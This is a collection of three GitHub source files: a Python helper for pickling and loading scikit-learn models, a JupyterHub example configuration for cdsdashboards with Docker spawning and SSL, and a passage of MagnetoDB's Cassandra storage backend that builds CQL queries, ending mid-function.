+{"seq_id":"71663805051","text":"# -*- coding: utf-8 -*-\n\"\"\" This module contains some functions that wouls be useful to \nhandle someMachine learning models utilities \nsuch as: revovering the last saved trained model ...\n\"\"\"\n\nimport os\nSRC_PATH = '../src'\nMODEL_PATH = '../results/sklearn_models'\nMODEL_EXTENSION = \"h5\"\nfrom sklearn.metrics import mean_squared_error\n#sys.path.insert(0, os.path.join(SRC_PATH,'Modeling'))\n#from neural_network_model import NeuralNetwork\n#from autoencoder import Autoencoder \n\nimport pickle\nimport numpy as np\n#from keras.models import load_model\n\nclass ClassifierHelpers(object):\n @classmethod\n def save(cls, clf, name, save_path=MODEL_PATH, model_extension='.sav'):\n if not os.path.isdir(save_path):\n os.makedirs(save_path)\n filename = name+model_extension\n pickle.dump(clf, open(os.path.join(save_path, filename), 'wb'))\n \n @classmethod \n def load(cls, filename, save_path=MODEL_PATH, model_extension='.sav'):\n binary_model = os.path.join(save_path, filename+model_extension)\n #return None if the model doesn't exist\n if not os.path.isfile(binary_model):\n return\n with open(binary_model, 'rb') as f:\n return pickle.load(f)\n \n @classmethod\n def evaluate(cls, clf, X_test, y_test):\n y_pred = clf.predict(X_test)\n mse = mean_squared_error(y_test, y_pred)\n return np.sqrt(mse)\n'''\ndef helpers_decorator(f):\n def wrapper(*args, **kwargs):\n assert (os.path.isdir(MODEL_PATH)), \">_< No saved binary models !! :((\"\n return f(*args, **kwargs)\n return wrapper\n \nclass AutoEncoderHelpers(object):\n \n @helpers_decorator \n def last_model_name(path = MODEL_PATH, model_format=MODEL_EXTENSION):\n \"\"\" Retrunrs last created binary model saved in \n \n -----------\n Parameters\n -----------\n - path = where models are saved\n *default : MODEL_PATH\n - model_format = format of serialization \n * default .h5 keras\n ------------\n Returns\n ----------\n name of the last saved binary model\n \"\"\"\n binary_models = [model for model in os.listdir(path) if model.endswith(model_format)]\n sorted_by_date=sorted(binary_models, key=lambda name: os.path.getctime(os.path.join(path,name)))\n #if sorted_by_date is not empty\n if len(sorted_by_date)>0:\n #return last created model\n return sorted_by_date[-1]\n #else return None\n return\n \n @helpers_decorator\n def restore(model_name=None, model_format=MODEL_EXTENSION, model_type='dense_autoencoder'):\n \"\"\"Restore the neural network model\n \n -----------\n Parameters\n -----------\n - model_name = name of the model to restore\n *if it's None : restore the last saved one\n - model_format = format of serialization \n * default .h5 keras\n -model_type = the type of the model to be restored\n take values in ['dense_autoencoder', 'lstm_autoencoder']\n \n Returns:\n -None : if no model have been saved\n Else:\n (a pretrained) NeuralNetwork object \n \"\"\"\n #binary model is in '../../results/keras_models/'\n models_dir = MODEL_PATH\n for dir in model_type.split('_')[::-1]:\n models_dir = os.path.join(models_dir, dir)\n \n if (model_name) and (model_name in os.listdir(models_dir)):\n #add h5 extension\n model_name += '.' + model_format\n #else get last saved model \n else:\n model_name = AutoEncoderHelpers.last_model_name(path = models_dir, model_format=model_format)\n if not model_name:\n print(models_dir, \"is empty :((( \")\n return\n \n #get model attributes\n with open(os.path.join(models_dir, model_name.split('.')[0]), 'rb') as f:\n my_depickler = pickle.Unpickler(f)\n attributes = my_depickler.load()\n \n #create model from restored attributes \n if 'autoencoder' in model_type: \n restored_model = Autoencoder(n_features=attributes['n_features'], nb_epoch = attributes['nb_epoch'], batch_size = attributes['batch_size'], \n validation_split = attributes['validation_split'], optimizer = attributes['optimizer'], loss = attributes['loss'],\n autoencoder_type=attributes['autoencoder_type'])\n else:\n restored_model = NeuralNetwork(attributes)\n # load model weights \n restored_model.model = load_model(os.path.join(models_dir, model_name))\n #print(model_name)\n return restored_model\n'''\n\n","repo_name":"Athena75/hybrid_lstm_ijcnn","sub_path":"src/Modeling/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":4822,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"36699021135","text":"import os\n\nc.JupyterHub.allow_named_servers = True\n\n\nfrom cdsdashboards.hubextension import config_for_dashboards\n\nconfig_for_dashboards(c)\n\n\nc.JupyterHub.template_vars = {'cds_hide_user_named_servers': False, 'cds_hide_user_dashboard_servers': False}\n\n\nc.JupyterHub.authenticator_class = 'jupyterhub.auth.DummyAuthenticator'\n\n\n# GitHub login trial\n\n#from oauthenticator.github import GitHubOAuthenticator\n#c.GitHubOAuthenticator.scope = ['read:org', 'public_repo', 'repo', 'user:email']\n\n#class MyGitHubAuthenticator(GitHubOAuthenticator):\n \n# from tornado import gen\n\n# @gen.coroutine\n# def pre_spawn_start(self, user, spawner):\n# auth_state = yield user.get_auth_state()\n# import pprint\n# pprint.pprint(auth_state)\n# if not auth_state:\n# # user has no auth state\n# return\n# # define some environment variables from auth_state\n# spawner.environment['GITHUB_TOKEN'] = auth_state['access_token']\n# spawner.environment['GITHUB_USER'] = auth_state['github_user']['login']\n# spawner.environment['GITHUB_EMAIL'] = auth_state['github_user']['email']\n\n\n#c.JupyterHub.authenticator_class = MyGitHubAuthenticator\n\n\n#c.GitHubOAuthenticator.enable_auth_state = True\n\n#if 'JUPYTERHUB_CRYPT_KEY' not in os.environ:\n# import warnings\n\n # warnings.warn(\n # \"Need JUPYTERHUB_CRYPT_KEY env for persistent auth_state.\\n\"\n # \" export JUPYTERHUB_CRYPT_KEY=$(openssl rand -hex 32)\"\n # )\n # c.CryptKeeper.keys = [ os.urandom(32) ]\n # c.CryptKeeper.n_threads = 1\n\n#c.CryptKeeper.n_threads = 2\n\nc.JupyterHub.bind_url = 'https://0.0.0.0:443'\n\nc.JupyterHub.db_url = 'sqlite:///examples/sqlitedbs/ssl_domain_jupyterhub_config.sqlite'\n\nc.JupyterHub.default_url = '/hub/home'\n\nc.JupyterHub.proxy_check_interval = 3000\n\nc.JupyterHub.service_check_interval = 6000\n\n# To try idle culling\n# export JUPYTERHUB_API_TOKEN=$(jupyterhub token)\n# python3 -m jupyterhub_idle_culler --timeout=10 --url=http://192.168.0.69:8081/hub/api\nc.JupyterHub.last_activity_interval = 30\n\nc.JupyterHub.spawner_class = 'cdsdashboards.hubextension.spawners.variabledocker.VariableDockerSpawner'\n\nc.CDSDashboardsConfig.builder_class = 'cdsdashboards.builder.dockerbuilder.DockerBuilder'\n\nfrom jupyter_client.localinterfaces import public_ips\n\nc.JupyterHub.hub_ip = public_ips()[0]\n\nc.DockerSpawner.debug = True\n\n#c.DockerSpawner.go_slow = True\n\n\nc.CDSDashboardsConfig.default_allow_all = True\n\nc.DockerSpawner.remove = True\n\nc.DockerSpawner.name_template = \"{prefix}-{username}-{servername}\"\n\n#c.DockerSpawner.image = 'ideonate/containds-allr-datascience:0.2.0'\nc.DockerSpawner.image = 'ideonate/containds-all-basic:latest'\nc.DockerSpawner.allowed_images = ['ideonate/jh-voila-oauth-singleuser:latest', 'ideonate/containds-all-basic:latest']\n\nc.DockerSpawner.pull_policy = 'ifnotpresent'\n\nnotebook_dir = '/home/jovyan'\nc.DockerSpawner.notebook_dir = notebook_dir\n# Mount the real user's Docker volume on the host to the notebook user's\n# notebook directory in the container\nc.DockerSpawner.volumes = { 'jupyterhub-user-{username}': notebook_dir }\n\nc.Spawner.start_timeout = 6000\n\nc.Authenticator.admin_users = {'dan'}\n\nc.ConfigurableHTTPProxy.debug = True\n\nc.JupyterHub.cleanup_servers = True\n\nc.ConfigurableHTTPProxy.should_start = True\n\n\n\nc.JupyterHub.redirect_to_server = False\nc.JupyterHub.default_url = '/hub/dashboards'\n\n\n# Generate certs:\n# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout myjupyterhub.net/jupyterhub.key -out myjupyterhub.net/jupyterhub.crt\n\n## Path to SSL certificate file for the public facing interface of the proxy\n#\n# When setting this, you should also set ssl_key\nc.JupyterHub.ssl_cert = os.environ['SSL_CERT']\n\n## Path to SSL key file for the public facing interface of the proxy\n#\n# When setting this, you should also set ssl_cert\nc.JupyterHub.ssl_key = os.environ['SSL_KEY']\n\n\nc.CDSDashboardsConfig.conda_envs = ['env1', 'env2', 'cds']\n","repo_name":"ideonate/cdsdashboards","sub_path":"examples/ssl_domain_jupyterhub_config.py","file_name":"ssl_domain_jupyterhub_config.py","file_ext":"py","file_size_in_byte":3945,"program_lang":"python","lang":"en","doc_type":"code","stars":196,"dataset":"github-code","pt":"78"}
+{"seq_id":"27615482869","text":"from decimal import Decimal\nimport json\nimport binascii\n\n\nfrom cassandra import decoder\n\n\nfrom magnetodb.common.cassandra import cluster\nfrom magnetodb.common.exception import BackendInteractionException\nfrom magnetodb.openstack.common import importutils\nfrom magnetodb.openstack.common import log as logging\nfrom magnetodb.storage import models\n\nLOG = logging.getLogger(__name__)\n\n\nclass CassandraStorageImpl():\n\n STORAGE_TO_CASSANDRA_TYPES = {\n models.ATTRIBUTE_TYPE_STRING: 'text',\n models.ATTRIBUTE_TYPE_NUMBER: 'decimal',\n models.ATTRIBUTE_TYPE_BLOB: 'blob',\n models.ATTRIBUTE_TYPE_STRING_SET: 'set',\n models.ATTRIBUTE_TYPE_NUMBER_SET: 'set',\n models.ATTRIBUTE_TYPE_BLOB_SET: 'set'\n }\n\n CASSANDRA_TO_STORAGE_TYPES = {val: key for key, val\n in STORAGE_TO_CASSANDRA_TYPES.iteritems()}\n\n CONDITION_TO_OP = {\n models.Condition.CONDITION_TYPE_EQUAL: '=',\n models.IndexedCondition.CONDITION_TYPE_LESS: '<',\n models.IndexedCondition.CONDITION_TYPE_LESS_OR_EQUAL: '<=',\n models.IndexedCondition.CONDITION_TYPE_GREATER: '>',\n models.IndexedCondition.CONDITION_TYPE_GREATER_OR_EQUAL: '>=',\n }\n\n USER_COLUMN_PREFIX = 'user_'\n SYSTEM_COLUMN_PREFIX = 'system_'\n SYSTEM_COLUMN_ATTRS = SYSTEM_COLUMN_PREFIX + 'attrs'\n SYSTEM_COLUMN_ATTR_TYPES = SYSTEM_COLUMN_PREFIX + 'attr_types'\n SYSTEM_COLUMN_ATTR_EXIST = SYSTEM_COLUMN_PREFIX + 'attr_exist'\n SYSTEM_COLUMN_HASH = SYSTEM_COLUMN_PREFIX + 'hash'\n SYSTEM_COLUMN_HASH_INDEX_NAME = (\n SYSTEM_COLUMN_HASH + \"_internal_index\"\n )\n\n def __init__(self, contact_points=(\"127.0.0.1\",),\n port=9042,\n compression=True,\n auth_provider=None,\n load_balancing_policy=None,\n reconnection_policy=None,\n default_retry_policy=None,\n conviction_policy_factory=None,\n metrics_enabled=False,\n connection_class=None,\n ssl_options=None,\n sockopts=None,\n cql_version=None,\n executor_threads=2,\n max_schema_agreement_wait=10):\n\n if connection_class:\n connection_class = importutils.import_class(connection_class)\n\n self.cluster = cluster.Cluster(\n contact_points=contact_points,\n port=port,\n compression=compression,\n auth_provider=auth_provider,\n load_balancing_policy=load_balancing_policy,\n reconnection_policy=reconnection_policy,\n default_retry_policy=default_retry_policy,\n conviction_policy_factory=conviction_policy_factory,\n metrics_enabled=metrics_enabled,\n connection_class=connection_class,\n ssl_options=ssl_options,\n sockopts=sockopts,\n cql_version=cql_version,\n executor_threads=executor_threads,\n max_schema_agreement_wait=max_schema_agreement_wait\n )\n\n self.session = self.cluster.connect()\n self.session.row_factory = decoder.dict_factory\n\n def _execute_query(self, query):\n try:\n LOG.debug(\"Executing query {}\".format(query))\n return self.session.execute(query)\n except Exception as e:\n msg = \"Error executing query {}:{}\".format(query, e.message)\n LOG.error(msg)\n raise BackendInteractionException(\n msg)\n\n @staticmethod\n def _quote_strings(strings):\n return map(lambda attr: \"\\\"{}\\\"\".format(attr), strings)\n\n def create_table(self, context, table_schema):\n \"\"\"\n Creates table\n\n @param context: current request context\n @param table_schema: TableSchema instance which define table to create\n\n @raise BackendInteractionException\n \"\"\"\n\n query = \"CREATE TABLE \\\"{}\\\".\\\"{}\\\" (\".format(context.tenant,\n table_schema.table_name)\n\n for attr_def in table_schema.attribute_defs:\n query += \"\\\"{}\\\" {},\".format(\n self.USER_COLUMN_PREFIX + attr_def.name,\n self.STORAGE_TO_CASSANDRA_TYPES[attr_def.type])\n\n query += \"\\\"{}\\\" map,\".format(self.SYSTEM_COLUMN_ATTRS)\n query += \"\\\"{}\\\" map,\".format(\n self.SYSTEM_COLUMN_ATTR_TYPES)\n query += \"\\\"{}\\\" set,\".format(self.SYSTEM_COLUMN_ATTR_EXIST)\n\n prefixed_attrs = [self.USER_COLUMN_PREFIX + name\n for name in table_schema.key_attributes]\n\n hash_name = table_schema.key_attributes[0]\n hash_type = [attr.type\n for attr in table_schema.attribute_defs\n if attr.name == hash_name][0]\n\n cassandra_hash_type = self.STORAGE_TO_CASSANDRA_TYPES[hash_type]\n\n query += \"{} {},\".format(self.SYSTEM_COLUMN_HASH, cassandra_hash_type)\n\n key_count = len(prefixed_attrs)\n\n if key_count < 1 or key_count > 2:\n raise BackendInteractionException(\n \"Expected 1 or 2 key attribute(s). Found {}: {}\".format(\n key_count, table_schema.key_attributes))\n\n primary_key = ','.join(self._quote_strings(prefixed_attrs))\n query += \"PRIMARY KEY ({})\".format(primary_key)\n\n query += \")\"\n\n try:\n self._execute_query(query)\n\n LOG.debug(\"Create Table CQL request executed. \"\n \"Waiting for schema agreement...\")\n\n self.cluster.control_connection.refresh_schema(\n keyspace=context.tenant, table=table_schema.table_name)\n\n LOG.debug(\"Waiting for schema agreement... Done\")\n\n for index_def in table_schema.index_defs:\n self._create_index(context, table_schema.table_name,\n self.USER_COLUMN_PREFIX +\n index_def.attribute_to_index,\n index_def.index_name)\n\n self._create_index(\n context, table_schema.table_name, self.SYSTEM_COLUMN_HASH,\n self.SYSTEM_COLUMN_HASH_INDEX_NAME)\n\n except Exception as e:\n LOG.error(\"Table {} creation failed.\".format(\n table_schema.table_name))\n LOG.error(e.message)\n # LOG.error(\"Table {} creation failed. Cleaning up...\".format(\n # table_schema.table_name))\n #\n # try:\n # self.delete_table(context, table_schema.table_name)\n # except Exception:\n # LOG.error(\"Failed table {} was not deleted\".format(\n # table_schema.table_name))\n\n raise e\n\n def _create_index(self, context, table_name, indexed_attr, index_name=\"\"):\n if index_name:\n index_name = \"_\".join((table_name, index_name))\n\n query = \"CREATE INDEX {} ON \\\"{}\\\".\\\"{}\\\" (\\\"{}\\\")\".format(\n index_name, context.tenant, table_name, indexed_attr)\n\n self._execute_query(query)\n\n def delete_table(self, context, table_name):\n \"\"\"\n Creates table\n\n @param context: current request context\n @param table_name: String, name of table to delete\n\n @raise BackendInteractionException\n \"\"\"\n query = \"DROP TABLE \\\"{}\\\".\\\"{}\\\"\".format(context.tenant, table_name)\n\n self._execute_query(query)\n\n def describe_table(self, context, table_name):\n \"\"\"\n Describes table\n\n @param context: current request context\n @param table_name: String, name of table to describes\n\n @return: TableSchema instance\n\n @raise BackendInteractionException\n \"\"\"\n\n schema_refreshed = False\n\n while True:\n try:\n keyspace_meta = self.cluster.metadata.keyspaces[context.tenant]\n break\n except KeyError:\n if schema_refreshed:\n raise BackendInteractionException(\n \"Tenant '{}' does not exist\".format(context.tenant)\n )\n else:\n\n self.cluster.control_connection.refresh_schema(\n keyspace=context.tenant\n )\n schema_refreshed = True\n\n while True:\n try:\n table_meta = keyspace_meta.tables[table_name]\n break\n except KeyError:\n if schema_refreshed:\n raise BackendInteractionException(\n \"Table '{}' does not exist\".format(table_name)\n )\n else:\n self.cluster.control_connection.refresh_schema(\n keyspace=context.tenant, table=table_name\n )\n schema_refreshed = True\n\n prefix_len = len(self.USER_COLUMN_PREFIX)\n\n user_columns = [val for key, val\n in table_meta.columns.iteritems()\n if key.startswith(self.USER_COLUMN_PREFIX)]\n\n attr_defs = set()\n index_defs = set()\n\n for column in user_columns:\n name = column.name[prefix_len:]\n storage_type = self.CASSANDRA_TO_STORAGE_TYPES[column.typestring]\n attr_defs.add(models.AttributeDefinition(name, storage_type))\n if column.index:\n index_defs.add(models.IndexDefinition(\n column.index.name[len(table_name) + 1:], name)\n )\n\n hash_key_name = table_meta.partition_key[0].name[prefix_len:]\n\n key_attrs = [hash_key_name]\n\n if table_meta.clustering_key:\n range_key_name = table_meta.clustering_key[0].name[prefix_len:]\n key_attrs.append(range_key_name)\n\n table_schema = models.TableSchema(table_meta.name, attr_defs,\n key_attrs, index_defs)\n\n return table_schema\n\n def list_tables(self, context, exclusive_start_table_name=None,\n limit=None):\n \"\"\"\n @param context: current request context\n @param exclusive_start_table_name\n @param limit: limit of returned table names\n @return list of table names\n\n @raise BackendInteractionException\n \"\"\"\n\n query = \"SELECT \\\"columnfamily_name\\\"\"\n query += \" FROM \\\"system\\\".\\\"schema_columnfamilies\\\"\"\n\n query += \" WHERE \\\"keyspace_name\\\" = '{}'\".format(context.tenant)\n\n if exclusive_start_table_name:\n query += \" AND \\\"columnfamily_name\\\" > '{}'\".format(\n exclusive_start_table_name)\n\n if limit:\n query += \" LIMIT {}\".format(limit)\n\n tables = self._execute_query(query)\n\n return [row['columnfamily_name'] for row in tables]\n\n def _indexed_attrs(self, context, table):\n schema = self.describe_table(context, table)\n return schema.indexed_attrs\n\n def _predefined_attrs(self, context, table):\n schema = self.describe_table(context, table)\n return [attr.name for attr in schema.attribute_defs]\n\n def put_item(self, context, put_request, if_not_exist=False,\n expected_condition_map=None):\n \"\"\"\n @param context: current request context\n @param put_request: contains PutItemRequest items to perform\n put item operation\n @param if_not_exist: put item only is row is new record (It is possible\n to use only one of if_not_exist and expected_condition_map\n parameter)\n @param expected_condition_map: expected attribute name to\n ExpectedCondition instance mapping. It provides\n preconditions to make decision about should item be put or\n not\n\n @return: True if operation performed, otherwise False\n\n @raise BackendInteractionException\n \"\"\"\n\n schema = self.describe_table(context, put_request.table_name)\n predefined_attrs = [attr.name for attr in schema.attribute_defs]\n key_attrs = schema.key_attributes\n attr_map = put_request.attribute_map\n\n dynamic_values = self._put_dynamic_values(attr_map, predefined_attrs)\n types = self._put_types(attr_map)\n exists = self._put_exists(attr_map)\n\n hash_name = schema.key_attributes[0]\n hash_value = self._encode_predefined_attr_value(attr_map[hash_name])\n\n if expected_condition_map:\n attrs = attr_map.keys()\n non_key_attrs = [\n attr for attr in predefined_attrs if attr not in key_attrs]\n unset_attrs = [\n attr for attr in predefined_attrs if attr not in attrs]\n set_clause = ''\n\n for attr, val in attr_map.iteritems():\n if attr in non_key_attrs:\n set_clause += '\\\"{}\\\" = {},'.format(\n self.USER_COLUMN_PREFIX + attr,\n self._encode_value(val, True))\n elif attr in unset_attrs:\n set_clause += '\\\"{}\\\" = null,'.format(\n self.USER_COLUMN_PREFIX + attr)\n\n set_clause += '\\\"{}\\\" = {{{}}},'.format(\n self.SYSTEM_COLUMN_ATTRS, dynamic_values\n )\n\n set_clause += '\\\"{}\\\" = {{{}}},'.format(\n self.SYSTEM_COLUMN_ATTR_TYPES, types\n )\n\n set_clause += '\\\"{}\\\" = {{{}}},'.format(\n self.SYSTEM_COLUMN_ATTR_EXIST, exists\n )\n\n set_clause += '\\\"{}\\\" = {}'.format(\n self.SYSTEM_COLUMN_HASH, hash_value\n )\n\n where = ' AND '.join((\n '\\\"{}\\\" = {}'.format(\n self.USER_COLUMN_PREFIX + attr,\n self._encode_value(val, True))\n for attr, val in attr_map.iteritems()\n if attr in key_attrs\n ))\n\n query = 'UPDATE \\\"{}\\\".\\\"{}\\\" SET {} WHERE {}'.format(\n context.tenant, put_request.table_name, set_clause, where\n )\n\n if_clause = self._conditions_as_string(expected_condition_map)\n query += \" IF {}\".format(if_clause)\n\n self.session.execute(query)\n else:\n attrs = ''\n values = ''\n\n for attr, val in attr_map.iteritems():\n if attr in predefined_attrs:\n attrs += '\\\"{}\\\",'.format(self.USER_COLUMN_PREFIX + attr)\n values += self._encode_value(val, True) + ','\n\n attrs += ','.join((\n self.SYSTEM_COLUMN_ATTRS,\n self.SYSTEM_COLUMN_ATTR_TYPES,\n self.SYSTEM_COLUMN_ATTR_EXIST,\n self.SYSTEM_COLUMN_HASH\n ))\n\n values += ','.join((\n '{{{}}}'.format(dynamic_values),\n '{{{}}}'.format(types),\n '{{{}}}'.format(exists),\n hash_value\n ))\n\n query = 'INSERT INTO \\\"{}\\\".\\\"{}\\\" ({}) VALUES ({})'.format(\n context.tenant, put_request.table_name, attrs, values)\n\n if if_not_exist:\n query += ' IF NOT EXISTS'\n\n self.session.execute(query)\n\n return True\n\n def _put_dynamic_values(self, attribute_map, predefined_attrs):\n return ','.join((\n \"'{}':{}\".format(attr, self._encode_value(val, False))\n for attr, val\n in attribute_map.iteritems()\n if not attr in predefined_attrs\n ))\n\n def _put_types(self, attribute_map):\n return ','.join((\n \"'{}':'{}'\".format(attr, self.STORAGE_TO_CASSANDRA_TYPES[val.type])\n for attr, val\n in attribute_map.iteritems()))\n\n def _put_exists(self, attribute_map):\n return ','.join((\n \"'{}'\".format(attr)\n for attr, _\n in attribute_map.iteritems()))\n\n def delete_item(self, context, delete_request,\n expected_condition_map=None):\n \"\"\"\n @param context: current request context\n @param delete_request: contains DeleteItemRequest items to perform\n delete item operation\n @param expected_condition_map: expected attribute name to\n ExpectedCondition instance mapping. It provides\n preconditions to make decision about should item be deleted\n or not\n\n @return: True if operation performed, otherwise False (if operation was\n skipped by out of date timestamp, it is considered as\n successfully performed)\n\n @raise BackendInteractionException\n \"\"\"\n query = \"DELETE FROM \\\"{}\\\".\\\"{}\\\" WHERE \".format(\n context.tenant, delete_request.table_name)\n\n where = self._primary_key_as_string(delete_request.key_attribute_map)\n\n query += where\n\n if expected_condition_map:\n if_clause = self._conditions_as_string(expected_condition_map)\n\n query += \" IF \" + if_clause\n\n self._execute_query(query)\n\n return True\n\n def _condition_as_string(self, attr, condition):\n name = self.USER_COLUMN_PREFIX + attr\n\n if condition.type == models.ExpectedCondition.CONDITION_TYPE_EXISTS:\n if condition.arg:\n return \"\\\"{}\\\"={{\\\"{}\\\"}}\".format(\n self.SYSTEM_COLUMN_ATTR_EXIST, attr)\n else:\n return \"\\\"{}\\\"=null\".format(name)\n elif condition.type == models.IndexedCondition.CONDITION_TYPE_BETWEEN:\n first, second = condition.arg\n val1 = self._encode_predefined_attr_value(first)\n val2 = self._encode_predefined_attr_value(second)\n return \" {} >= {} AND {} <= {}\".format(name, val1, name, val2)\n elif (condition.type ==\n models.IndexedCondition.CONDITION_TYPE_BEGINS_WITH):\n first = condition.arg\n second = first.value[:-1] + chr(ord(first.value[-1]) + 1)\n second = models.AttributeValue(condition.arg.type, second)\n val1 = self._encode_predefined_attr_value(first)\n val2 = self._encode_predefined_attr_value(second)\n return \" {} >= {} AND {} < {}\".format(name, val1, name, val2)\n else:\n op = self.CONDITION_TO_OP[condition.type]\n return name + op + self._encode_predefined_attr_value(\n condition.arg\n )\n\n def _conditions_as_string(self, condition_map):\n return \" AND \".join((self._condition_as_string(attr, cond)\n for attr, cond\n in condition_map.iteritems()))\n\n def _primary_key_as_string(self, key_map):\n return \" AND \".join((\n \"\\\"{}\\\"={}\".format(self.USER_COLUMN_PREFIX + attr_name,\n self._encode_predefined_attr_value(attr_value))\n for attr_name, attr_value in key_map.iteritems()))\n\n def execute_write_batch(self, context, write_request_list, durable=True):\n \"\"\"\n @param context: current request context\n @param write_request_list: contains WriteItemBatchableRequest items to\n perform batch\n @param durable: if True, batch will be fully performed or fully\n skipped. Partial batch execution isn't allowed\n\n @raise BackendInteractionException\n \"\"\"\n raise NotImplementedError\n\n def update_item(self, context, table_name, key_attribute_map,\n attribute_action_map, expected_condition_map=None):\n \"\"\"\n @param context: current request context\n @param table_name: String, name of table to delete item from\n @param key_attribute_map: key attribute name to\n AttributeValue mapping. It defines row it to update item\n @param attribute_action_map: attribute name to UpdateItemAction\n instance mapping. It defines actions to perform for each\n given attribute\n @param expected_condition_map: expected attribute name to\n ExpectedCondition instance mapping. It provides\n preconditions to make decision about should item be updated\n or not\n @return: True if operation performed, otherwise False\n\n @raise BackendInteractionException\n \"\"\"\n schema = self.describe_table(context, table_name)\n set_clause = self._updates_as_string(\n schema, key_attribute_map, attribute_action_map)\n\n where = self._primary_key_as_string(key_attribute_map)\n\n query = \"UPDATE \\\"{}\\\".\\\"{}\\\" SET {} WHERE {}\".format(\n context.tenant, table_name, set_clause, where\n )\n\n if expected_condition_map:\n if_clause = self._conditions_as_string(expected_condition_map)\n query += \" IF {}\".format(if_clause)\n\n self._execute_query(query)\n\n def _updates_as_string(self, schema, key_attribute_map, update_map):\n predefined_attrs = [attr.name for attr in schema.attribute_defs]\n\n set_clause = \", \".join({\n self._update_as_string(attr, update, attr in predefined_attrs)\n for attr, update in update_map.iteritems()})\n\n #update system_hash\n hash_name = schema.key_attributes[0]\n hash_value = self._encode_predefined_attr_value(\n key_attribute_map[hash_name]\n )\n\n set_clause += \",\\\"{}\\\"={}\".format(self.SYSTEM_COLUMN_HASH, hash_value)\n\n return set_clause\n\n def _update_as_string(self, attr, update, is_predefined):\n if is_predefined:\n name = \"\\\"{}\\\"\".format(self.USER_COLUMN_PREFIX + attr)\n else:\n name = \"\\\"{}\\\"['{}']\".format(self.SYSTEM_COLUMN_ATTRS, attr)\n\n # delete value\n if (update.action == models.UpdateItemAction.UPDATE_ACTION_DELETE\n or (update.action == models.UpdateItemAction.UPDATE_ACTION_PUT\n and (not update.value or not update.value.value))):\n value = 'null'\n\n type_update = \"\\\"{}\\\"['{}'] = null\".format(\n self.SYSTEM_COLUMN_ATTR_TYPES, attr)\n\n exists = \"\\\"{}\\\" = \\\"{}\\\" - {{'{}'}}\".format(\n self.SYSTEM_COLUMN_ATTR_EXIST,\n self.SYSTEM_COLUMN_ATTR_EXIST, attr)\n # put or add\n else:\n type_update = \"\\\"{}\\\"['{}'] = '{}'\".format(\n self.SYSTEM_COLUMN_ATTR_TYPES, attr,\n self.STORAGE_TO_CASSANDRA_TYPES[update.value.type])\n\n exists = \"\\\"{}\\\" = \\\"{}\\\" + {{'{}'}}\".format(\n self.SYSTEM_COLUMN_ATTR_EXIST,\n self.SYSTEM_COLUMN_ATTR_EXIST, attr)\n\n value = self._encode_value(update.value, is_predefined)\n\n op = '='\n value_update = \"{} {} {}\".format(name, op, value)\n\n return \", \".join((value_update, type_update, exists))\n\n def _encode_value(self, attr_value, is_predefined):\n if attr_value is None:\n return 'null'\n elif is_predefined:\n return self._encode_predefined_attr_value(attr_value)\n else:\n return self._encode_dynamic_attr_value(attr_value)\n\n def _encode_predefined_attr_value(self, attr_value):\n if attr_value.type.collection_type:\n values = ','.join(map(\n lambda el: self._encode_single_value_as_predefined_attr(\n el, attr_value.type.element_type),\n attr_value.value\n ))\n return '{{{}}}'.format(values)\n else:\n return self._encode_single_value_as_predefined_attr(\n attr_value.value, attr_value.type.element_type\n )\n\n @staticmethod\n def _encode_single_value_as_predefined_attr(value, element_type):\n if element_type == models.AttributeType.ELEMENT_TYPE_STRING:\n return \"'{}'\".format(value)\n elif element_type == models.AttributeType.ELEMENT_TYPE_NUMBER:\n return str(value)\n elif element_type == models.AttributeType.ELEMENT_TYPE_BLOB:\n return \"0x{}\".format(binascii.hexlify(value))\n else:\n assert False, \"Value wasn't formatted for cql query\"\n\n def _encode_dynamic_attr_value(self, attr_value):\n val = attr_value.value\n if attr_value.type.collection_type:\n val = map(\n lambda el: self._encode_single_value_as_dynamic_attr(\n el, attr_value.type.element_type\n ),\n val)\n else:\n val = self._encode_single_value_as_dynamic_attr(\n val, attr_value.type.element_type)\n return \"0x{}\".format(binascii.hexlify(json.dumps(val)))\n\n @staticmethod\n def _encode_single_value_as_dynamic_attr(value, element_type):\n if element_type == models.AttributeType.ELEMENT_TYPE_STRING:\n return value\n elif element_type == models.AttributeType.ELEMENT_TYPE_NUMBER:\n return str(value)\n elif element_type == models.AttributeType.ELEMENT_TYPE_BLOB:\n return value\n else:\n assert False, \"Value wasn't formatted for cql query\"\n\n @staticmethod\n def _decode_value(value, storage_type, is_predefined):\n if not is_predefined:\n value = json.loads(value)\n\n return models.AttributeValue(storage_type, value)\n\n @staticmethod\n def _decode_single_value(value, element_type):\n if element_type == models.AttributeType.ELEMENT_TYPE_STRING:\n return value\n elif element_type == models.AttributeType.ELEMENT_TYPE_NUMBER:\n return Decimal(value)\n elif element_type == models.AttributeType.ELEMENT_TYPE_BLOB:\n return value\n else:\n assert False, \"Value wasn't formatted for cql query\"\n\n def select_item(self, context, table_name, indexed_condition_map=None,\n select_type=None, index_name=None, limit=None,\n exclusive_start_key=None, consistent=True,\n order_type=None):\n \"\"\"\n @param context: current request context\n @param table_name: String, name of table to get item from\n @param indexed_condition_map: indexed attribute name to\n IndexedCondition instance mapping. It defines rows\n set to be selected\n @param select_type: SelectType instance. It defines with attributes\n will be returned. If not specified, default will be used:\n SelectType.all() for query on table and\n SelectType.all_projected() for query on index\n @param index_name: String, name of index to search with\n @param limit: maximum count of returned values\n @param exclusive_start_key: key attribute names to AttributeValue\n instance\n @param consistent: define is operation consistent or not (by default it\n is not consistent)\n @param order_type: defines order of returned rows, if 'None' - default\n order will be used\n\n @return SelectResult instance\n\n @raise BackendInteractionException\n \"\"\"\n\n schema = self.describe_table(context, table_name)\n hash_name = schema.key_attributes[0]\n\n try:\n range_name = schema.key_attributes[1]\n except IndexError:\n range_name = None\n\n select_type = select_type or models.SelectType.all()\n\n select = 'COUNT(*)' if select_type.is_count else '*'\n\n query = \"SELECT {} FROM \\\"{}\\\".\\\"{}\\\" \".format(\n select, context.tenant, table_name)\n\n indexed_condition_map = indexed_condition_map or {}\n\n exclusive_start_key = exclusive_start_key or {}\n\n exclusive_range_cond = None\n\n for key, val in exclusive_start_key.iteritems():\n if key == hash_name:\n indexed_condition_map[key] = models.Condition.eq(val)\n elif key == range_name:\n exclusive_range_cond = self._condition_as_string(\n range_name, models.IndexedCondition.gt(val))\n\n where = self._conditions_as_string(indexed_condition_map)\n\n if exclusive_range_cond:\n if where:\n where += ' AND ' + exclusive_range_cond\n else:\n where = 